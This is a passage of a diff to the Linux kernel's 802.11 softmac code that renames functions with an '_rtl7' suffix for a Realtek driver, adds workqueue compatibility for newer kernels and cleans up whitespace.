strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + 